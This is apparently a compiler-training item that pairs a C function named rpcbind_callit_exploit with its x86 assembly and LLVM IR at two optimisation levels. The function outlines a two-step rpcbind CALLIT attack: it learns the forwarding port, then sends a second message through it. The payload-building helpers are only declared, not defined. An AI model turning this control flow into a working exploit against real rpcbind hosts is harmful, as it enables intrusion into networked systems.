#define NULL ((void *)0)
typedef unsigned long size_t; // Customize by platform.
typedef long intptr_t;
typedef unsigned long uintptr_t;
typedef long scalar_t__; // Either arithmetic or pointer type.
/* By default, we understand bool (as a convenience). */
typedef int bool;
#define false 0
#define true 1

/* Forward declarations */

/* Type definitions */
struct sockaddr_in {
  int /*<<< orphan*/ sin_port;
};
struct sockaddr {
  int dummy;
};
typedef int socklen_t;
typedef int /*<<< orphan*/ msg_buf;
typedef int /*<<< orphan*/ fwd_addr;

/* Variables and functions */
int /*<<< orphan*/ __rpcbind_send(char *, int, struct sockaddr *, int);
int build_callit_message(char *, int);
int /*<<< orphan*/ fprintf(int /*<<< orphan*/, char *);
int ntohs(int /*<<< orphan*/);
int /*<<< orphan*/ perror(char *);
int /*<<< orphan*/ printf(char *, ...);
int /*<<< orphan*/ rpcbind_ping();
scalar_t__ rpcbind_recv(struct sockaddr *, int *, int);
int /*<<< orphan*/ rpcbind_send(char *, int);
int /*<<< orphan*/ stderr;
int /*<<< orphan*/ update_xid(char *);
int rpcbind_callit_exploit() {
  struct sockaddr_in fwd_addr;
  socklen_t alen = sizeof(fwd_addr);
  char msg_buf[1024];
  int msg_len;
  printf("=== First CALLIT message ===\n");
  msg_len = build_callit_message(msg_buf, sizeof(msg_buf));
  if (msg_len < 0) {
    fprintf(stderr, "Failed to build message\n");
    return 0;
  }
  update_xid(msg_buf);
  if (!rpcbind_send(msg_buf, msg_len)) {
    perror("sendto failed");
    return 0;
  }
  if (rpcbind_recv((struct sockaddr *)&fwd_addr, &alen, 5) <= 0) {
    fprintf(stderr, "Unable to receive reply to first CALLIT message\n");
    return 0;
  }
  printf("Success!\n");
  printf("rpcbind's forwarding port is %u\n", ntohs(fwd_addr.sin_port));
  if (!rpcbind_ping())
    return 0;
  printf("=== Second CALLIT message ===\n");
  update_xid(msg_buf);
  if (!__rpcbind_send(msg_buf, msg_len, (struct sockaddr *)&fwd_addr, alen)) {
    perror("sendto failed");
    return 0;
  }
  printf("Done.\n");
  return 1;
}


x86 assembly (clang, -O0):
<rpcbind_callit_exploit>:
push   %rbp
mov    %rsp,%rbp
sub    $0x420,%rsp
movl   $0x4,-0xc(%rbp)
lea    0xe47(%rip),%rdi
mov    $0x0,%al
call   1040 <printf@plt>
lea    -0x410(%rbp),%rdi
mov    $0x400,%esi
call   1080 <build_callit_message@plt>
mov    %eax,-0x414(%rbp)
cmpl   $0x0,-0x414(%rbp)
jge    1205 <rpcbind_callit_exploit+0x65>
mov    0x2df5(%rip),%rax
mov    (%rax),%edi
lea    0xe2a(%rip),%rsi
call   1050 <fprintf@plt>
movl   $0x0,-0x4(%rbp)
jmp    132c <rpcbind_callit_exploit+0x18c>
lea    -0x410(%rbp),%rdi
call   10c0 <update_xid@plt>
lea    -0x410(%rbp),%rdi
mov    -0x414(%rbp),%esi
call   10b0 <rpcbind_send@plt>
cmp    $0x0,%eax
jne    1244 <rpcbind_callit_exploit+0xa4>
lea    0xe04(%rip),%rdi
call   10a0 <perror@plt>
movl   $0x0,-0x4(%rbp)
jmp    132c <rpcbind_callit_exploit+0x18c>
lea    -0x8(%rbp),%rdi
lea    -0xc(%rbp),%rsi
mov    $0x5,%edx
call   1070 <rpcbind_recv@plt>
cmp    $0x0,%rax
jg     1281 <rpcbind_callit_exploit+0xe1>
mov    0x2d79(%rip),%rax
mov    (%rax),%edi
lea    0xdd5(%rip),%rsi
call   1050 <fprintf@plt>
movl   $0x0,-0x4(%rbp)
jmp    132c <rpcbind_callit_exploit+0x18c>
lea    0xdee(%rip),%rdi
mov    $0x0,%al
call   1040 <printf@plt>
mov    -0x8(%rbp),%edi
call   1090 <ntohs@plt>
mov    %eax,%esi
lea    0xde0(%rip),%rdi
mov    $0x0,%al
call   1040 <printf@plt>
mov    $0x0,%al
call   1060 <rpcbind_ping@plt>
cmp    $0x0,%eax
jne    12c3 <rpcbind_callit_exploit+0x123>
movl   $0x0,-0x4(%rbp)
jmp    132c <rpcbind_callit_exploit+0x18c>
lea    0xdd7(%rip),%rdi
mov    $0x0,%al
call   1040 <printf@plt>
lea    -0x410(%rbp),%rdi
call   10c0 <update_xid@plt>
lea    -0x410(%rbp),%rdi
mov    -0x414(%rbp),%esi
lea    -0x8(%rbp),%rdx
mov    -0xc(%rbp),%ecx
call   1030 <__rpcbind_send@plt>
cmp    $0x0,%eax
jne    1317 <rpcbind_callit_exploit+0x177>
lea    0xd31(%rip),%rdi
call   10a0 <perror@plt>
movl   $0x0,-0x4(%rbp)
jmp    132c <rpcbind_callit_exploit+0x18c>
lea    0xda2(%rip),%rdi
mov    $0x0,%al
call   1040 <printf@plt>
movl   $0x1,-0x4(%rbp)
mov    -0x4(%rbp),%eax
add    $0x420,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<rpcbind_callit_exploit>:
push   %rbp
push   %r14
push   %rbx
sub    $0x410,%rsp
movl   $0x4,0xc(%rsp)
lea    0xeaf(%rip),%rdi
call   1040 <puts@plt>
lea    0x10(%rsp),%rdi
mov    $0x400,%esi
call   1090 <build_callit_message@plt>
test   %eax,%eax
js     1299 <rpcbind_callit_exploit+0xe9>
mov    %eax,%ebx
lea    0x10(%rsp),%rbp
mov    %rbp,%rdi
call   10d0 <update_xid@plt>
mov    %rbp,%rdi
mov    %ebx,%esi
call   10c0 <rpcbind_send@plt>
test   %eax,%eax
je     12d0 <rpcbind_callit_exploit+0x120>
lea    0x8(%rsp),%rdi
lea    0xc(%rsp),%rsi
mov    $0x5,%edx
call   1080 <rpcbind_recv@plt>
test   %rax,%rax
jle    12ab <rpcbind_callit_exploit+0xfb>
lea    0xe6b(%rip),%rdi
call   1040 <puts@plt>
mov    0x8(%rsp),%edi
call   10a0 <ntohs@plt>
lea    0xe18(%rip),%rdi
xor    %ebp,%ebp
mov    %eax,%esi
xor    %eax,%eax
call   1050 <printf@plt>
xor    %eax,%eax
call   1070 <rpcbind_ping@plt>
test   %eax,%eax
je     12c2 <rpcbind_callit_exploit+0x112>
lea    0xe42(%rip),%rdi
call   1040 <puts@plt>
lea    0x10(%rsp),%r14
mov    %r14,%rdi
call   10d0 <update_xid@plt>
mov    0xc(%rsp),%ecx
lea    0x8(%rsp),%rdx
mov    %r14,%rdi
mov    %ebx,%esi
call   1030 <__rpcbind_send@plt>
test   %eax,%eax
je     12de <rpcbind_callit_exploit+0x12e>
lea    0xe30(%rip),%rdi
call   1040 <puts@plt>
mov    $0x1,%ebp
jmp    12c2 <rpcbind_callit_exploit+0x112>
mov    0x2d40(%rip),%rax
mov    (%rax),%edi
lea    0xd57(%rip),%rsi
jmp    12bb <rpcbind_callit_exploit+0x10b>
mov    0x2d2e(%rip),%rax
mov    (%rax),%edi
lea    0xd6c(%rip),%rsi
call   1060 <fprintf@plt>
xor    %ebp,%ebp
mov    %ebp,%eax
add    $0x410,%rsp
pop    %rbx
pop    %r14
pop    %rbp
ret
lea    0xd42(%rip),%rdi
call   10b0 <perror@plt>
jmp    12c0 <rpcbind_callit_exploit+0x110>
lea    0xd34(%rip),%rdi
call   10b0 <perror@plt>
jmp    12c2 <rpcbind_callit_exploit+0x112>

LLVM IR (-O0):
%struct.sockaddr_in = type { i32 }
%struct.sockaddr = type { i32 }
@.str = [30 x i8] c"=== First CALLIT message ===\0A\00"
@stderr = global i32 0
@.str.1 = [25 x i8] c"Failed to build message\0A\00"
@.str.2 = [14 x i8] c"sendto failed\00"
@.str.3 = [49 x i8] c"Unable to receive reply to first CALLIT message\0A\00"
@.str.4 = [10 x i8] c"Success!\0A\00"
@.str.5 = [33 x i8] c"rpcbind's forwarding port is %u\0A\00"
@.str.6 = [31 x i8] c"=== Second CALLIT message ===\0A\00"
@.str.7 = [7 x i8] c"Done.\0A\00"
define i32 @rpcbind_callit_exploit() {
%1 = alloca i32
%2 = alloca %struct.sockaddr_in
%3 = alloca i32
%4 = alloca [1024 x i8]
%5 = alloca i32
store i32 4, i32* %3
%6 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([30 x i8], [30 x i8]* @.str, i64 0, i64 0))
%7 = getelementptr inbounds [1024 x i8], [1024 x i8]* %4, i64 0, i64 0
%8 = call i32 @build_callit_message(i8* %7, i32 1024)
store i32 %8, i32* %5
%9 = load i32, i32* %5
%10 = icmp slt i32 %9, 0
br i1 %10, label %11, label %14
11: ; preds = %0
%12 = load i32, i32* @stderr
%13 = call i32 @fprintf(i32 %12, i8* getelementptr inbounds ([25 x i8], [25 x i8]* @.str.1, i64 0, i64 0))
store i32 0, i32* %1
br label %53
14: ; preds = %0
%15 = getelementptr inbounds [1024 x i8], [1024 x i8]* %4, i64 0, i64 0
%16 = call i32 @update_xid(i8* %15)
%17 = getelementptr inbounds [1024 x i8], [1024 x i8]* %4, i64 0, i64 0
%18 = load i32, i32* %5
%19 = call i32 @rpcbind_send(i8* %17, i32 %18)
%20 = icmp ne i32 %19, 0
br i1 %20, label %23, label %21
21: ; preds = %14
%22 = call i32 @perror(i8* getelementptr inbounds ([14 x i8], [14 x i8]* @.str.2, i64 0, i64 0))
store i32 0, i32* %1
br label %53
23: ; preds = %14
%24 = bitcast %struct.sockaddr_in* %2 to %struct.sockaddr*
%25 = call i64 @rpcbind_recv(%struct.sockaddr* %24, i32* %3, i32 5)
%26 = icmp sle i64 %25, 0
br i1 %26, label %27, label %30
27: ; preds = %23
%28 = load i32, i32* @stderr
%29 = call i32 @fprintf(i32 %28, i8* getelementptr inbounds ([49 x i8], [49 x i8]* @.str.3, i64 0, i64 0))
store i32 0, i32* %1
br label %53
30: ; preds = %23
%31 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([10 x i8], [10 x i8]* @.str.4, i64 0, i64 0))
%32 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %2, i32 0, i32 0
%33 = load i32, i32* %32
%34 = call i32 @ntohs(i32 %33)
%35 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([33 x i8], [33 x i8]* @.str.5, i64 0, i64 0), i32 %34)
%36 = call i32 (...) @rpcbind_ping()
%37 = icmp ne i32 %36, 0
br i1 %37, label %39, label %38
38: ; preds = %30
store i32 0, i32* %1
br label %53
39: ; preds = %30
%40 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([31 x i8], [31 x i8]* @.str.6, i64 0, i64 0))
%41 = getelementptr inbounds [1024 x i8], [1024 x i8]* %4, i64 0, i64 0
%42 = call i32 @update_xid(i8* %41)
%43 = getelementptr inbounds [1024 x i8], [1024 x i8]* %4, i64 0, i64 0
%44 = load i32, i32* %5
%45 = bitcast %struct.sockaddr_in* %2 to %struct.sockaddr*
%46 = load i32, i32* %3
%47 = call i32 @__rpcbind_send(i8* %43, i32 %44, %struct.sockaddr* %45, i32 %46)
%48 = icmp ne i32 %47, 0
br i1 %48, label %51, label %49
49: ; preds = %39
%50 = call i32 @perror(i8* getelementptr inbounds ([14 x i8], [14 x i8]* @.str.2, i64 0, i64 0))
store i32 0, i32* %1
br label %53
51: ; preds = %39
%52 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([7 x i8], [7 x i8]* @.str.7, i64 0, i64 0))
store i32 1, i32* %1
br label %53
53: ; preds = %51, %49, %38, %27, %21, %11
%54 = load i32, i32* %1
ret i32 %54
}

LLVM IR (-O2):
%struct.sockaddr_in = type { i32 }
%struct.sockaddr = type { i32 }
@stderr = global i32 0
@.str.1 = [25 x i8] c"Failed to build message\0A\00"
@.str.2 = [14 x i8] c"sendto failed\00"
@.str.3 = [49 x i8] c"Unable to receive reply to first CALLIT message\0A\00"
@.str.5 = [33 x i8] c"rpcbind's forwarding port is %u\0A\00"
@str = [29 x i8] c"=== First CALLIT message ===\00"
@str.8 = [9 x i8] c"Success!\00"
@str.9 = [30 x i8] c"=== Second CALLIT message ===\00"
@str.10 = [6 x i8] c"Done.\00"
define i32 @rpcbind_callit_exploit() {
%1 = alloca %struct.sockaddr_in
%2 = alloca i32
%3 = alloca [1024 x i8]
%4 = bitcast %struct.sockaddr_in* %1 to i8*
%5 = bitcast i32* %2 to i8*
store i32 4, i32* %2
%6 = getelementptr inbounds [1024 x i8], [1024 x i8]* %3, i64 0, i64 0
%7 = tail call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([29 x i8], [29 x i8]* @str, i64 0, i64 0))
%8 = call i32 @build_callit_message(i8* %6, i32 1024)
%9 = icmp slt i32 %8, 0
br i1 %9, label %10, label %13
10: ; preds = %0
%11 = load i32, i32* @stderr
%12 = call i32 @fprintf(i32 %11, i8* getelementptr inbounds ([25 x i8], [25 x i8]* @.str.1, i64 0, i64 0))
br label %44
13: ; preds = %0
%14 = call i32 @update_xid(i8* %6)
%15 = call i32 @rpcbind_send(i8* %6, i32 %8)
%16 = icmp eq i32 %15, 0
br i1 %16, label %17, label %19
17: ; preds = %13
%18 = call i32 @perror(i8* getelementptr inbounds ([14 x i8], [14 x i8]* @.str.2, i64 0, i64 0))
br label %44
19: ; preds = %13
%20 = bitcast %struct.sockaddr_in* %1 to %struct.sockaddr*
%21 = call i64 @rpcbind_recv(%struct.sockaddr* %20, i32* %2, i32 5)
%22 = icmp slt i64 %21, 1
br i1 %22, label %23, label %26
23: ; preds = %19
%24 = load i32, i32* @stderr
%25 = call i32 @fprintf(i32 %24, i8* getelementptr inbounds ([49 x i8], [49 x i8]* @.str.3, i64 0, i64 0))
br label %44
26: ; preds = %19
%27 = call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([9 x i8], [9 x i8]* @str.8, i64 0, i64 0))
%28 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %1, i64 0, i32 0
%29 = load i32, i32* %28
%30 = call i32 @ntohs(i32 %29)
%31 = call i32 (i8*, ...) @printf(i8* dereferenceable(1) getelementptr inbounds ([33 x i8], [33 x i8]* @.str.5, i64 0, i64 0), i32 %30)
%32 = call i32 (...) @rpcbind_ping()
%33 = icmp eq i32 %32, 0
br i1 %33, label %44, label %34
34: ; preds = %26
%35 = call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([30 x i8], [30 x i8]* @str.9, i64 0, i64 0))
%36 = call i32 @update_xid(i8* %6)
%37 = load i32, i32* %2
%38 = call i32 @__rpcbind_send(i8* %6, i32 %8, %struct.sockaddr* %20, i32 %37)
%39 = icmp eq i32 %38, 0
br i1 %39, label %40, label %42
40: ; preds = %34
%41 = call i32 @perror(i8* getelementptr inbounds ([14 x i8], [14 x i8]* @.str.2, i64 0, i64 0))
br label %44
42: ; preds = %34
%43 = call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([6 x i8], [6 x i8]* @str.10, i64 0, i64 0))
br label %44
44: ; preds = %26, %42, %40, %23, %17, %10
%45 = phi i32 [ 0, %10 ], [ 0, %23 ], [ 1, %42 ], [ 0, %40 ], [ 0, %17 ], [ 0, %26 ]
ret i32 %45
}